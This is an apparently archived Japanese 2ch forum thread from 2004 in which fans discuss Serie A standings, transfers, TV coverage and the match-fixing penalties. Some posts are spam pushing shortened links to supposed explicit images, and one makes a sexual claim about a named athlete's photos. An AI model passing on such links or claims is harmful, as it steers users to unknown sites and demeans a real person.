ペルージャｷﾀ━━━━(ﾟ∀ﾟ)━━━━━━!?

ペルージャすげぇな
負けたら降格ってとこからユーべとローマに連勝したらしいじゃん
今年はプレーオフがあってよかったな

でも、まだセリエＢは終わってないから、どこ来るかわからんね。

プレーオフ、ガウチ対紫、なんてことはあるのか？

最終順位

順pt
1 82 ＡＣミラン
2 71 ローマ
3 69 ユベントス
4 59 インテル　　（ＣＬ）

5 58 パルマ
6 56 ラツィオ　　（UEFA）

7 50 ウディネーゼ
8 46 サンプドリア
9 44 キエボ
10 41 レッチェ
11 40 ブレシア
12 39 ボローニャ
13 34 レジーナ
14 34 シエナ

15 32 ペルージャ　（プレーオフ）

16 30 モデナ
17 30 エンポリ
18 13 アンコナ　　（降格）

まあ例の八百長疑惑があるからどう転ぶか分からん訳だが。

ミランの82pt、34ptの残留ラインにアンコナの13pt、と
まあ今年はひどいカンピオナートでしたね。
来年は20チームになっていっそうのレベル低下が予想される訳で。
ローマ・パルマ・ラツィオも実質解散だし・・・
来年のセリエはしょっぱそうだな

>>147
ウディネもＵＥＦＡでしょ？
ラツィオが木っ端獲ったから

ペルージャVSフィオのプレーオフになったらいいな。
プレーオフの放送がありますように。。。

いつも思うんだけどインタートトカップの出場権はどうなってるの？

http://www.nikkansports.com/ns/soccer/sergio/top-sergio.html
【　ちゃんとサッカーしなさい　】　セルジオ越後
俊輔のプレーに必死さなし　＜セリエＡ最終節：レッチェ２−１レジーナ＞

　安全地帯で多少は動いても、信頼されていないのかボールはこないし、
チームを動かすこともできない。

【半年間、先発出場できなかったのはケガだけが原因ではなかったはずだ。】

自分自身に厳しく、ピッチ上でのプレーも厳しくできなければ、
自分を取り巻く環境は厳しくなるばかりだろう。

こちらへ
http://sports8.2ch.net/test/read.cgi/eleven/1084354706/579

ここのサイトで、美人お姉さんの
ツルツル割れ目がみれますた(*´д`*)ハァハァ
http://tinyurl.com/3dpum

美人看護婦さんや美人ＯＬお姉さんハァハァ…(*´д`*)ハァハァ

.: Classifica marcatori 2003/2004

24 A. Shevchenko Milan
23 A. Gilardino Parma
20 F. Totti Roma
19 E. Chevanton Lecce
17 L. Adriano Inter (8 Parma)
16 D. Trezeguet Juventus
14 A. Cassano Roma
13 F. Bazzani Sampdoria
13 C. Vieri Inter
12 R. Baggio Brescia
12 A. Caracciolo Brescia
12 D. Fava Passaro Udinese
12 J. Tomasson Milan

>>153
途切れた。

>>156
http://sports7.2ch.net/test/read.cgi/sports/1080570724/55
↓
http://sports7.2ch.net/test/read.cgi/sposaloon/1025445639/340
↓
http://sports8.2ch.net/test/read.cgi/soccer/1083699347/174
↓
http://ex5.2ch.net/test/read.cgi/football/1080013664/153
↓
http://sports8.2ch.net/test/read.cgi/eleven/1084354706/579
↓
http://sports2.2ch.net/test/read.cgi/wc/1059396740/179
↓
179 名前：2006年まで名無しさん 投稿日：04/05/17 17:55 ID:feV27HiI
バーカ、アホ、「死」あるのみｗ

>>153
残念っ！

今夜からオフ企画のミラン＆ローマの全試合再放送や、
パルマボローニャの試合の数試合の再放送等やるわけですけど、
この試合だけは見ておくべき！というお勧めの試合はありませんか？

是非教えて下さいな

>>159
ミランが優勝を決めたゲーム。パヌッチの勃●シーン。

>>159
インテル大逆転負けのミラノダービー
後半戦のやつ

ゾラが帰ってｷﾀ━━━━━━(ﾟ∀ﾟ)━━━━━━ !!!!!

昇格したはいいが、来シーズンも残るのか？

>>162
チェルシーに行くとか行かないとか…

i don't want to go to chelski

今年に限らず去年くらいからだけどさ、
４〜１０位くらいのチームはもっと頭使って頑張れよ。金ないなら。

デルネーリがポルトかよ

監督がらみの話。

プランデッリがローマの監督になったけど、
トッティはともかくカッサーノが彼の下で大人しくしているとは思えない。

トッティのマドリ行きの話はまだ消えないけど、実際トッティには出て行ってもらって
カッサーノをチームの王様にすえた方がプランデッリ的なサッカーが出来そう。
カッサーノには無制限の自由を与えて、パートナーにストライカー1人、
あとの8人でしっかり守備組織、みたいな。

ローマには金も無い訳だし、プランデッリ的なスモールなチームになるのかな。
意外とその方がCLでも上位に食い込んだりして。ま、タイトルは無理だろうけど。

それとカペッロを選択したユーベ。

こちらはデシャン、プランデッリの候補を蹴っ飛ばして、まさかの大物一本釣り。
ヴィエリだのカンナヴァロだの、獲得選手の噂も大物志向。
今年若返り路線に失敗した反動で、ビッグネームをかき集めて、
力ずくでタイトルもぎ取りにいってる感じ。

でもなんか、極端だよね･･･来年以降はわかんないけど、
今年のタイトル獲得は厳しいかな・・・

今年はデルピエロがさっぱり、というか足引っ張ってた感があるし、
いっそ彼を放出しちゃうとか思い切った策が必要な気がするな。

そんなもん自分の日記に書けや

>>170　カルシウムが足りない？

来季のパレルモvsメッシーナ
マフィアの本拠地のダービーって何か怖そう

http://playonsearch.powerbroad.ne.jp/searchmovie/seriea/main.html
ここの動画ってどうすれば保存できるんですか？

来期セリエAはこんなんです

ＡＣミラン、ローマ、ユベントス、インテル、パルマ、ラツィオ

ウディネーゼ、サンプドリア、キエボ、レッチェ、ブレシア、ボローニャ、レジーナ、シエナ

パレルモ、カリアリ、リボルノ、メッシーナ、アタランタ

＋（ペルージャ or フィオレンティーナ）

来季の開幕は9月12日らしいですね。
ttp://www.nikkansports.com/ns/soccer/world/f-sc-tp2-040616-0025.html

来期セリエAはこんなんです（確定版）

ＡＣミラン、ローマ、ユベントス、インテル、パルマ、ラツィオ

ウディネーゼ、サンプドリア、キエボ、レッチェ、ブレシア、ボローニャ、レジーナ、シエナ

パレルモ、カリアリ、リボルノ、メッシーナ、アタランタ、フィオレンティーナ

とうとうフィオが戻ってくるか
千載一遇のチャンスを物にしたな

ちと気が早いが来季の展望は

スクデット争い　　ミラン、ユーベ、インテル
ＣＬ権争い　　　　ローマ、ラツィオ、ウディネーゼ
ＵＥＦＡ争い　　　サンプ、パルマ、フィオ
残留争い　　　　その他
ダークホース　　パレルモ、アタランタ

てとこかな。

フィオファンだが現時点ではその評価は買いかぶり
すべては補強しだいなのです

開幕9/12っていうことはオリンピックベストメンバーでオーバーエイジまで使うのかな

　

Aに復活できたフィオの財政事情がとても気になるんですが、
どこかの企業が買収でもして資金調達できたんでしょうか？

開幕戦、どの試合が繰り上がるかわかっている？

ラツィオやパルマは選手出しすぎるとウディネを下回ってしまいそうだな。
ウディネは黒字だから資金面でも不安は少なそうだしもう二人くらいいい選手獲ればかなり強くなると思うけどな。
あと資金豊富らしいパレルモは不気味だな。

パレルモ/アタランタ/サンプドリアがけっこうやりそうだな。

>>185
うっせーばかにわか

フィオレンティーナはルイコスタ戻るの？

ルイ　キエーザ　バテイの三人の一緒にやってる姿もう一度見てみたい。
ハインリッヒ　レプカ　それとまあトルドは無理か。　監督はトラップね。

パロンボ、アダーニ、モレッティ辺りもきぼん。

ユーベが優勝！

か、４位！！

ラツィオスレ誰か立てててくれよ〜(;つД｀)

たてた！
◇SS.Lazio-Bianco Celeste〜ラツィオスレ22〜
http://ex5.2ch.net/test/read.cgi/football/1088883134/

たつとは思わなかった！ｽﾏｿ

美人お姉さんのおま○こが丸見えのサイトが
ここにありますた！(*´д`*)ハァハァ

http://shorl.com/bupinogobela

美少女アイドルのオマ○コも丸見えでつ…(*´Д`*)ハァハァ

ジャンニーニがセリエＣフォッジャの監督に

日程発表、まだ〜？

パレルモ
http://ex5.2ch.net/test/read.cgi/football/1089034213/l50

>>188
罠はベンフィカへ行ったね

ラツィオとパルマまで落ちぶれて、来季はさらにさらに戦力偏ってつまらんシーズンだな。

　　　　　　　　 ,-､　　　　　　　　　　　　,.-､
　　　　　　　 ./:::::＼　　　　　　　　　 ／::::::ヽ
　　　　　　　/::::::::::::;ゝ--──-- ､._/::::::::::::::|
　　　　　　 /,.-‐''"´ 　　　　　　　　 ＼:::::::::::|
　　　　　／　 　　　　　　　　　　　　　　ヽ､::::|
　　　　/　　　　　　　　　　　　　　　　　　　ヽ|　　
　　 　 l　　　　　　　　　　 　 　 　 　 　 　 　 l
　　　 .|　　　 -・==-　　　　　　　　　　　　　　| 　　　　>>198　それはどうかな・・・
　 　 　l　　, , ,　　　　　　　　　　　-・==-　　 l
　　　　` ､　　　　　　(_人__丿　　　　､､､ 　 /
　　　　　　`ｰ ､__　　　　　　　　　　 　 　 ／
　　　　　　　　　/`'''ｰ‐‐──‐‐‐┬'''""´

質問させてください

スカパーのアンテナはたたないのですが、ケーブルが入ります
で、ケーブルと契約しようと思うのですがJスポーツの1、2しか入りません
これではセリエは満足には見られないでしょうか？

>>200
スレ違いみたいだけど答えてみる。
2003/2004の場合だと「満足できません」よ。
漏れはスカパーのセリエ・セットだけ入ってたけど、
満足できませんですた。

ありがとうございます

どうしよう。。
とはいえ現状でできるのはそれしかないし
開幕ギリギリまで情勢を見てみることにします
もしかしたら1、2でやってくれるかもしれませんし

>>202
少しならやるよ。
ほぼ全部するのはスカパーだけ。

プロヴィンチャ総合スレ立てて欲しい

Ｊスポは生1試合、録画1試合ぐらいかと
中田、中村は見れない

インテル、ラツィオを結構やってた印象がある

Jｽﾎﾟのカードはハズレっぽいのが多いかな。
最近まで２でローマの全試合やってた

インテル-ウディネ（逆だったかも）、レッチェ-インテル、ラツィオ-ペルージャ
は良かった気がする

>>206
というかハズレ回される
あとなぜかインテルの勝率が悪かったような

うーんこの間ユーロも終わったばかりだし、オリンピックもこれからだし。
自分的にセリエ早くはじまれモードはまだまだだな。　シーズン長いし、
録画のやりくりで月　火　水ってあれこれ考えてやるのかと思うとちょっと
鬱だったし。　プレミア　エール　リーガも来シーズンから見ようかと思う
しこりゃ大変だ。　ＨＤＤ付きＤＶＤを買わないとキツイな。

俺はとうとう昨シーズン限りでセリエＡセット解約しました。バッジョも引退してしまったし
ルイもミランでベンチ暖めてるだけだし面白いと思った試合も昨シーズン一つも無かったし・・。
ただフィオが戻ってくくるのは気になりますね、これでルイを取ったりした契約考えないと。
すれ違いかもしれないけど最近のセリエＡで一番面白かった試合ってなんですかね？俺が見た中だと
フィオｖｓミランでルイ・コスタの大活躍でミランを粉砕した試合だったな、ああいう試合がまた見たいですね。

後半戦のミラノダービーはいろんな意味で面白かった

イタリア八百長疑惑で審判２人資格停止
http://www.nikkansports.com/ns/soccer/world/f-sc-tp2-040713-0022.html

CALCIO SHOWスカパーch186でただ今放映中。

ただ１つ言えるのはパンカロはイタリア人でもテレビ向きでないということ。

思わず186にしたらレニーだったぞ

来季

３強＞ローマ＞＞＞ウディネ＞サンプ＞パレルモ、フィオ、ボローニャ＞＞パルマ、アタランタ＞キエーボ＞ブレシア、シエナ、レッジーナ、カリアリ、メッシーナ、リボルノ＞レッチェ＞ラツィオ

来季は残留争いがさらに激化しそうだ

今頃、知ったけど「Calcio Show」面白い？見た人の感想ｷﾎﾞﾝﾇ。

すいません開幕カード知ってる人います？

いないよ

>>218
なかなか面白かった
でもスタジオの映像がメインでテーマっつーか話題ごとに映像を紹介してた。
議論が2chみたいな雰囲気をかもしだしてた
あとキャラクター的に面白いひとがｲﾊﾟｰｲいた

リーグが始まってタイムリーに映像見られたらおもしろいかも

>>221
感想thx。あ、そうか終ったｼｰｽﾞﾝ中のなんだった。
確かにタイムリーだったら、かなり楽しめそうだね。今日22時からチェックしてみるよん。

ベニスってクラブがありますか？

>>223
ベニス＝ベネチア

>>224
名波がいたとこっすよね？

★ ビバ！！ミラクル キエーボ！（Part8） ★
http://ex5.2ch.net/test/read.cgi/football/1091262434/l50

今シーズン、Calcio Showみたいなの、現地のサッカー番組やって欲しいな

日程…

ﾏﾀﾞｧ-? （･∀･ ）っ/凵⌒☆ﾁﾝﾁﾝ
10月に旅行行きたいんだけど、日程が出ないことには
どうにもどうにも。

>>228
日程のスレがあるよ。
http://ex5.2ch.net/test/read.cgi/football/1089895148/l50

セリエＡのリーグレベルって90年代に比べてやっぱ落ちてるよな。
有名な選手やワールドクラスの選手をお金のあるチェルシーやレアルマドリードに売り払ってるし。

プレミアもレベル低いですが何か？

http://sportsnavi.yahoo.co.jp/soccer/eusoccer/headlines/20040805-00000014-spnavi-spo.html

230のレスが232の受け売りっぽくて笑える
しかし>>232は電波極まりないな・・
おそらくイタリア人記者が書いてるのだろうが
ユーロ敗退後のスペイン人記者の書いたスペインの敗退した理由のコラム
並に感情的

つうか今度の補強で戦力アップしたチームってどのくらいあるの？
誰か教えて

インテル、フィオレンティーナ、パレルモ、ウディネーゼ、ユベントスは確実に戦力アップ

>>235
まってくれ
ユーベはかなり微妙なんだ‥

インテル、ヴィオラ、ウディネは確実だね

インテル、ヴィオラも微妙ですが。
今季もミランの一人勝ちであとはユーベ、インテル、ローマ、ヴィオラの混戦だと予想。
ウディネ、パレルモはわからん。

ま、とりあえずセリエはなかなか楽しめそうだ。

ペルージャがいないとなんか寂しいような気もするけど。

ペルージャっつうかガウチな。

ローマはどうなるんでしょう？
エメルソンもサムエルもカペッロも抜けて。
すごく心配です・・・

BからAに上がって戦力が相対的にアップしたクラブはどことどこ？

>>241
ヴィオラとナポリ

>>240
ローマはその分の補強してるから問題ないかと

>>243
ジラルディーノ以外に誰かいますか？

>>244
こんなこと言って申し訳ないがあまり詳しく調べてないから獲得した選手すぐ忘れるのでローマスレできいてきて。
でも個人的には今季もローマ頑張って欲しい、ていうかヴィオラも面白そうだし今季は咋季より混戦かも!?

パレルモとヴィオラは期待できそうだ。単純な放りこみにならないだろうし
コリーニとかポルティージョとか面白そう

　　　　　　　　　ポルティージョ（シセ）

　　サラジェータ 　 　 バッジオ　　　　 ルイコスタ

　　　　　　　中田英寿　　　マレスカ

サヴィーニ　　ダイネッリ　　ウィファルシ　 　マッジョ

　　　　　　　　　　　ルパテッリ

ローマより強いかもな、これだと。
ユベントスがムトゥを取ると、ヴィオラはミッコリを共同保有するという話がある。
セリエＡはミラン、ユベントス、インテル（＝来季スクデットかも）の３強と、
ローマ、ヴィオラを合わせた５強時代に突入する。
サンプドリア、ウディネーゼ、パレルモがそれに次ぐ強さだな。
ラツィオは今季で崩壊してしまったし、パルマはジラルディーノを放出すれば終わったも同然。
キエーボ、ボローニャ他は可もなく不可もなく、10位前後でまったりの状況。
残り半分のプロビンチャはドングリの背比べ状態だし。

ってことはサンプ、ウディネ、パレルモ含めれば8強ですか?
あとはローマが今季だけじゃなくずっとこの調子でいけばいいけど大丈夫かな?
とりあえず8強か〜、すごく楽しみ(･∀･)

デットでセリエAの高画質中継ないですか？

>>249ネットの間違いでした。

少し前のアタランタ、キエーボ、ソシエダみたいに旋風起こすクラブ現れたら面白いんだがな。そういう意味でもフィオ、ウディネ、サンプには期待してる。アタランタやボローニャあたりにも可能性あるかも。
いつも北の３強とローマばっかじゃ面白くないしな。

ヴィオラの会長はあと３人は大型補強するって明言してるから、
まだまだ凄い隠し球があると思う。
少なくともそのうち一人がＲバッジョなんだろうけどさ。
今夏セリエＡのカルチョメルカートで最も動いているのがヴィオラ。
現金で６０億円用意してるからまだ半分くらいあまってるわけで。

1回破産させちゃったほうが出直しは楽なんだな
ラツィオとかも破産させたほうがいいんじゃないの？

ただおいちゃんみたいにＣ２でも残ってくれる人がいるかといえば微妙だ

>>251
＞そういう意味でもフィオ、ウディネ、サンプには期待してる。

ヴィオラの会長は金持ちでがんがん補強できるしウディネは経営能力抜群だから旋風起こすだけじゃなくずっと上位にいれそうな感じがするよ（サンプはわからん）
問題は財政難のローマ。
補強の仕方は上手いけど金がなくてこのままこの調子でいけるかどうか心配。

やっぱ強豪チームはたくさんいた方がリーグも盛り上がるわけだし。

まぁ直接は関係ないけど、
ttp://www.nikkansports.com/ns/soccer/f-sc-tp0-040807-0030.html
なにやってんだ？

それと

＞ウディネは経営能力抜群だから

皮肉か？
日本だったらとっくの昔に産業再生機構行きだわ。

>>257
いやマジなんですけど・・・
黒字クラブスレによるとセリエで黒字なのはユーベとウディネだけみたいだしそれに選手の売り買いが上手いというのも聞いた。

あとセリエの話しなんだから日本の経営姿勢のこと持ち出されても・・・

>>256
俺もまたかよってｵﾓﾀｗ

２度目だからな

>>258
冗談多いよ。ウディは物凄い累積債務抱えてんだから。
（単年度は黒字だったのかもしれんけど）
じゃなきゃ毎年毎年違うイレブンになるわけない。

どのクラブも大きな問題は抱えているにせよ、
去年のﾌﾟﾚﾐｱみたいに早い時期に片がついてしまうような状況はやめて欲しいな

レッチェのスレは立っても消えちゃうかな？

うるせーバカ

神のお告げ知りたい人　挙手！

ノ　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　●

614 名前： 似非リーマン ◆/F/ESELYMo [まろはタイクーンでおじゃる♪] 投稿日： 04/08/10 20:30 ID:???
(　´�D｀)ノ＜　おお、そういう時期ですよね。>>613
　　　　　　　　エセリーの展望なんてありきたりなんで面白くないでしょうけども。
　　　　　　　　イタリアはミランが飛び出し、ローマとユベントスとインテルが追いかける展開になると思います。
　　　　　　　　ミランに弱点らしい弱点は見あたらない。
　　　　　　　　誰か一人、強烈なサイドアタッカーがいればなお良いと思いますが、
　　　　　　　　それがいなくてもセリエAでなら特に問題なく勝てると思う。
　　　　　　　　シェフチェンコ、クレスポ、トマソンのフォワード陣は強力無比。
　　　　　　　　中盤のカカー、セードルフ、ガットゥーゾ、ピルロも安定感抜群。
　　　　　　　　最終ラインにはスタムが加わったことで文句のないメンバーです。
　　　　　　　　はっきりいって今季のミランは昨季の強さをそのまま以上に維持できるはずです。
　　　　　　　　一方でカペッロ、エメルソン、サムエルと強力な三人を失ったローマです。
　　　　　　　　ここはペッロッタ、フェラーリという期待が持てる若手を補強できました。
　　　　　　　　監督も代わってしまい苦しいと思われがちですが結構やりそうな予感。
　　　　　　　　ただ昨季もそうだったんですが、強烈なフォワードがいない。
　　　　　　　　ヴィドゥカでも獲得したらよかったのになあ。
　　　　　　　　ジラルディーノも無理っぽいし、やはり最後の決め手にかけるチームです。
　　　　　　　　強いような気はするけどミランを超えるのは無理でしょ。
　　　　　　　　そうなると可能性はユベントスですが、補強が思ったより進みません。
　　　　　　　　カペッロとはいえ一年目はなかなか苦しむのではないでしょうか。
　　　　　　　　ダークホースは毎シーズンですがインテルですよね。
　　　　　　　　中盤に選手がだぶついているものの、マンチーニが何をやるか楽しみです！

セリエＡ選抜　ｖｓ　リーガエスパニョーラ選抜　ｖｓ　プレミアリーグ選抜

どこが勝つと思う？

>260
ウディネは2,3年前から継続性重視の
チームにかわってきつつありますよ。
メンバーがほとんど変わってないけど
累積債務があるから方針を変えたのかもね

今季のセリエの上位陣は3強+ローマ、ヴィオラ＆パレルモの昇格組、ウディネ、サンプでFA？

ジラルディーノが残留すればパルマも
上位に入ってきそう。どちらにしても
3強の後に続くチームが多ければ多いほど
盛り上がるんじゃない？
個人的には大きな補強もないのに
地味に強いウディネに期待

>>267
リーガ選抜ってほとんどレアルだけで構成されんじゃね？('A`)

日程決まるのまだぁ？

>>266
前から思ってたがののたんの顔文字で普通の言葉だと不自然だな

ミラン：↑
インテル：↑（？）
ユーベ：↓
ローマ：↑（？）or→（？）
ヴィオラ：↑
パレルモ：↑
サンプ：↑
ウディネ：↑
パルマ：→（？）or↓（？）
ラツィオ：↓↓↓

大塚FC 4-2レッジーナ

何だかんだでパルマはプロビンチャより上だしヨーロッパ狙えるぐらい
強いだろ。
しかしパレルモは地味だな・・・もっと大胆な補強を行えるだけの資金力はあるんだが
ラッツィオはやっと補強したと思ったらディ・カーニオ・・・フル出場できないだろうしなぁ心配だ。

>>275
弱さが売りのリーグだけあるな。

ラツィオはどうなるかな？

セリエってレベル低いんだね

日程出たよ

http://www.gazzetta.it/Calcio/Serie%20A/Primo%20Piano/2004/08-Agosto/12/giornate%20A.shtml

>>276
それはパルマが強いって言うのか？
昨年より明らかに弱体化したパルマがヨーロッパ戦線を争えるんだぞ。
リーグのレベルは推して知るべしだ。

ついに日程でましたな〜
ところで、９月２６日にミラノ入りしてインテル−パルマ見たいのだが
セリエって日程変更、結構あるのかしら？
急に日程変更なって見れなかったらやだよね〜

まだどこが土曜になるかとかナイトゲームになるかとか決まってないのでは

とりあえず上位陣は>>269で確定と。
しかしユベントスマジヤヴェーな・・・

ウディネ強いとは思うけどなんでみんな推すの？
誰かイイの入ってきた？

http://ex5.2ch.net/test/read.cgi/football/1089895148/l50
日程スレに詳しく載っている。

この女性（伊バレーのピッチニーニ）とイチャついている男は
ユリアーノですか？

ttp://www.allcelebrity.it/Piccinini/foto3.htm

>>285
割りと安定してるからでは。新加入は大していないと思う

>>281
パルマ
中田１年目：中田加入，ムトゥもアドリアーノもいなかった→残留争い
中田2年目：ムトゥ，アドリアーノ効果→ヨーロッパ前線へ
中田3年目：ムトゥがチェルシーへ離脱，アドリアーノがインテル帰還するも若手が成長→ヨーロッパ前線に留まる

>>287
多分そう。ﾕﾘｱｰﾉって髪の色黒だよね？銀に染めたのか？
上から3段目の右から2番目の写真、これマジ挿入してるよな？
http://www.allcelebrity.it/Piccinini/foto3.htm

ユリアーノなわけ無い。
ユリアーノはアルファベット娘のフェデリカ嬢と付き合ってるはず。

> フェデリカ嬢

「嬢」がキモいよキモｦﾀ

>>291
どー見てもユリアーノじゃん。w

ぜんぜん違うと思うんだけど・・・
似てるように見える？

>>290
おまえ道程だろ！

このスレ見てる人はCALCIO2002読んでると思ってフェデリカ嬢て書いたんですが、読んでないんですかそうですか。

ディナターレ１００万ユーロ（約１億３５００万円）だと
安いなー

今シーズンの選手名鑑っていつ発売？

>>296　俺は読んでるから違和感なかったんだが。
気にするな。 (･∀･)

Lecceスレ立てても良いんですね？

シエナが降格してペルージャが昇格するってマジ？

そもそも
八百長問題の裁定ってどうなったんだ？

シーズン開幕直前に
AだったチームがいきなりBにされたら
補強された選手やティフォージはたまったものではないな…

0-0より
八百長疑惑を調査しているイタリア当局は、有罪に備えてモデナ、サンプドリア、ほぼユーヴェにマイナス6ポイント、
キエーヴォにマイナス9ポイント、サンプDFベッタリーニ選手に3年のサスペンション、モデナのアントニオ・マラスコ選手に
5年のサスペンションという重い罰則を用意。なお、それが現実となった場合、ほぼユーヴェはセリエBに強制降格となる模様。

ほぼユーヴェってシエナのことか…

中田にしか興味ない。

シエナ本当に降格するかもしれないんだな

縦縞チームが３つもあるといいかげんウザイ。
ウディネはそこそこ強いんだし変えてくれ。
シエナはＢ落ちしてよ。

>>301-304
マジで･･･？
（ﾟДﾟ）ｳﾎﾞｧｰ

>>303
>ｻﾝﾌﾟDFﾍﾞｯﾀﾘｰﾆ選手に3年のｻｽﾍﾟﾝｼｮﾝ､ﾓﾃﾞﾅのｱﾝﾄﾆｵ･ﾏﾗｽｺ選手に5年のｻｽﾍﾟﾝｼｮﾝ
ほんとにこうなったらかなり厳しいな(゜Д゜;)
でも八百長がらみは他にも沢山選手いなかったっけ？程度によったり、選手に行かない分クラブの方に罰が
降りるってことなのかな。当時シエナに居たベントラとかも名前あがってたような気がする。

選手が八百長って・・・
チムメイトへの裏切り行為だよな？どんな顔して復帰するんだよ

ペルージャ主力選手ほとんど売り払ってるのに
今更どうすんだよｗ

ここまで裁定を遅らせたのもカラーロの嫌がらせ？

＞＞３１１
ガウッチの事だから、時間稼ぎで開幕遅らせ（ｒｙ

ヴェントラ永久追放になるかも
また才能が潰れる

＞＞３１１
入れ替わりで降格しそうなシエナからフロー等ごっそりと。

＞＞３１３
永久追放っていってもセリエ内だけだろ？プレミアなりいけばいい。
ただしどれだけ活躍してもアズーリに呼ばれることはなさそうだが。

>>303
きっついなぁ。マイナスポイントで今季スタートだってよｗ
サンプドリアは今季の勝ち点から６、キエーボは９点減点され、マイナスポイントで９月12日の開幕を迎えることになる。

>>315
きついというか八百長クラブは切腹でいいよ。
というか消えていいよ。

これくらい思い処分しね-と繰り返すからな
まさに見せしめだね

厳罰に見せかけてるけど逆でしょう。
大元は別の強豪数チームの腐った体質にあると思うが。
いつも何かあるたびにちょっと騒いで、抜本的な改善をしない。
見せしめにするなら貴婦人が一番。

セリエは腐ってるっていうことだな。

>セリエは腐ってるっていうことだな。

いつもの事やんけ

>>318
とにかく最後は小泉批判にもっていく某局みたいな考え

>>313
結局あんまりパッとしなかった感じがする

ペルージャがＡ復帰したら　にしこり　とるかな

875 名前：名無しさん[sage] 投稿日：04/08/22 01:05 ID:e41uuWTg
http://www.gazzetta.it/primi_piani/calcio/2004/pp_1.0.478021064.shtml

「ベントラは無罪放免」とあるが。

誤訳blogの文章を広めるな

貴婦人の薬物倉庫を強制捜査したら面白そうだが
それよりも八百長問題は決着させるのが遅すぎる

八百長って何の試合でやったの？

>>326
嫌疑がかけられているのはこの6試合。
　レッチェ 0-0 シエナ　（3/7）　
　シエナ 1-1 キエーヴォ　（3/21）
　モデナ 1-0 サンプドリア　（4/25）　
　アンコーナ 0-2 キエーヴォ　（4/25）
　キエーヴォ 2-0 モデナ　（5/2）
　アンコーナ 2-1 エンポリ　（5/9）

このうち処分が検討されていると言われているのは
シエナ、キエーヴォ、サンプドリア、アンコーナ、モデナの5つのクラブ。
（て、ことはレッチェとエンポリは無関係なのだろーか）
モデナなんかBに落ちたばかりなのにC1へ強制降格とか言われてる。

誰の指示で誰が得したの？

ユーヴェはいいの？

ユーヴェこそ八百長だろが。

アンチ必死だなｗ

ユーベはアレだろ
日本でいう巨人みたいなもんだろ。

>>331
エメルソンに栄養費払ってたのかｗ

>>327
嫌疑のかけられてる試合で負けてるエンポリが無関係ってのはおかしい話だけどね・・・。

半尻、今日みたいだね

２５日、レーガ・カルチョの規律委員会はサッカー賭博・八百長疑惑に関与が認められた選手・クラブに対する処分を発表した。
セリエＣ１降格の可能性もあったモデナは２００４−０５シーズンのセリエＢで勝ち点５ポイントのペナルティを科せられること
になり、シエナやサンプドリアに対しては勝ち点のペナルティは無しとなった（それぞれ罰金のみ）。ペスカーラ、コモにもそれ
ぞれ罰金が科される。選手への出場停止処分はアントニオ・マラスコ（モデナ）に３年間、ジェネローゾ・ロッシ（パレルモ）に
１年間、ロベルト・ダヴェルサ（シエナ）に６ヶ月間、ステファノ・ベッタリーニ（サンプドリア）に５ヶ月間など。シエナのジ
ュゼッペ・パパドプーロ前監督も５ヶ月の活動禁止となった。

http://www.gazzetta.it/primi_piani/calcio/2004/pp_1.0.478021064.shtml

.　　　　　　 ＿__
　　　　 ／:::::::::::::::::~＼
　　　 /::::::::::::::-‐-v‐-,ヽ
　　　/:::::::::::::〈 　　　　 j::l
　　　|::::::::::::/　／~　~＼|
　　　|::::::/l/ 　 （･）　（･）
　　　!::::ヽ :: 　　 　, つ l　　　／￣￣￣￣￣￣￣￣￣￣
　　ノ::::::::.:::::　　　/ _ll_〉、 ＜　　イタリア語の読めないレコバ様のために誰か訳せ
　　｀ヽ:::::::::ヽ.　　‘ｰ''/;;;;;ゝ　＼＿＿＿＿＿＿＿＿＿＿
　　　　　人　　'ｰ-"　(⌒)
　　　／|／乂＜／　ﾉ ~.ﾚ-r┐
　　/　　　　　　　　ノ__　|　.|　ﾄ､
　　| /　　　　〈￣ 　　｀-L ﾍ_ﾚ′
　　　　　　　　 ￣｀ー‐---‐′

>>335
いかった〜。
サンプに勝ち点9とありえなかったんでいかった〜。

>>336
おまいはイタリア語読めるだろ、と思いつつ。
矢印の左側が処分決定前（>>336の記事）の報道。右側が今日出た結果。
間違いあったら修正ヨロ。

＜クラブ＞
　　シエナ（A）：6ポイント剥奪・セリエB降格＋罰金10万ユーロ（約1,300万円）　⇒罰金3.7万ユーロ（約480万円）
　　キエーヴォ（A）：9ポイント剥奪　⇒処分なし？
　　サンプドリア（A）：6ポイント剥奪＋罰金5万ユーロ（約650万円）　⇒罰金1.5万ユーロ（約190万円）
　　モデナ（B）：6ポイント剥奪・セリエC1強制降格　⇒5ポイント剥奪（04/05シーズンから）
　　ペスカーラ（B）：罰金5万ユーロ（約650万円）　⇒罰金5,000ユーロ（約65万円）
　　アンコーナ（C1）：罰金600万ユーロ（約780万円）　⇒処分なし？
　　コモ（C1）：罰金3万ユーロ（約390万円）　⇒罰金3,000ユーロ（約40万円）

　＜選手＞
　　ステファーノ・ベッタリーニ（サンプドリア）：3年間の出場停止　⇒5ヶ月の活動禁止
　　アントニオ・マラスコ（モデナ）：5年間の出場停止　⇒3年間の出場停止
　　ジェネローソ・ロッシ（シエナ／現パレルモ）：1年間の出場停止
　　ロベルト・ダヴェルサ（シエナ）：6ヶ月の出場停止　⇒6ヶ月の活動禁止
　　マウリッツィオ・カッカヴァーレ（ペスカーラ）：6ヶ月の出場停止　⇒6ヶ月の活動禁止
　　アルフレド・フェミアーノ（コモ）：6ヶ月の出場停止　⇒5ヶ月の活動禁止
　　ニコラ・ヴェントラ（シエナ／現インテル）：処分なし　⇒処分なし

　＜テクニコ・フロント＞
　　ジュゼッペ・パパドブーロ（シエナ監督）：6ヶ月の出場停止　⇒5ヶ月の活動禁止
　　ルイジ･デル・ネーリ（前キエーヴォ監督）：6ヶ月の出場停止　⇒処分なし
　　ジョヴァンニ・ガレオーネ（前アンコーナ監督）：7ヶ月の出場停止　⇒処分なし
　　マウリツィオ・トロンベッタ（前アンコーナ アシスタント･コーチ）：6ヶ月の出場停止　⇒処分なし
　　ロマーノ・アマディ（モデナ会長）：3年間の活動禁止　　⇒別途処分決定
　　ドリアーノ・トーシ（前モデナGM／現パルマGM）：3年間の活動禁止　⇒別途処分決定
　　ジョヴァンニ・サルトーリ（キエーヴォ スポーツDT）：3年間の活動禁止　　⇒処分なし？
　　ワルテル・スカピリアーティ（シエナGM）：6ヶ月の活動禁止　⇒処分なし
　　ネルソ・リッチ（シエナ スポーツDT）：6ヶ月の活動禁止　⇒7ヶ月の活動禁止
　　ステファーノ・オスティ（シエナ 広報）：6ヶ月の活動禁止　⇒6ヶ月の活動禁止

アンコーナ間違い。スマソ。

罰金600万ユーロ（約780万円）→罰金6万ユーロ（約780万円）

しょぼっ！！！
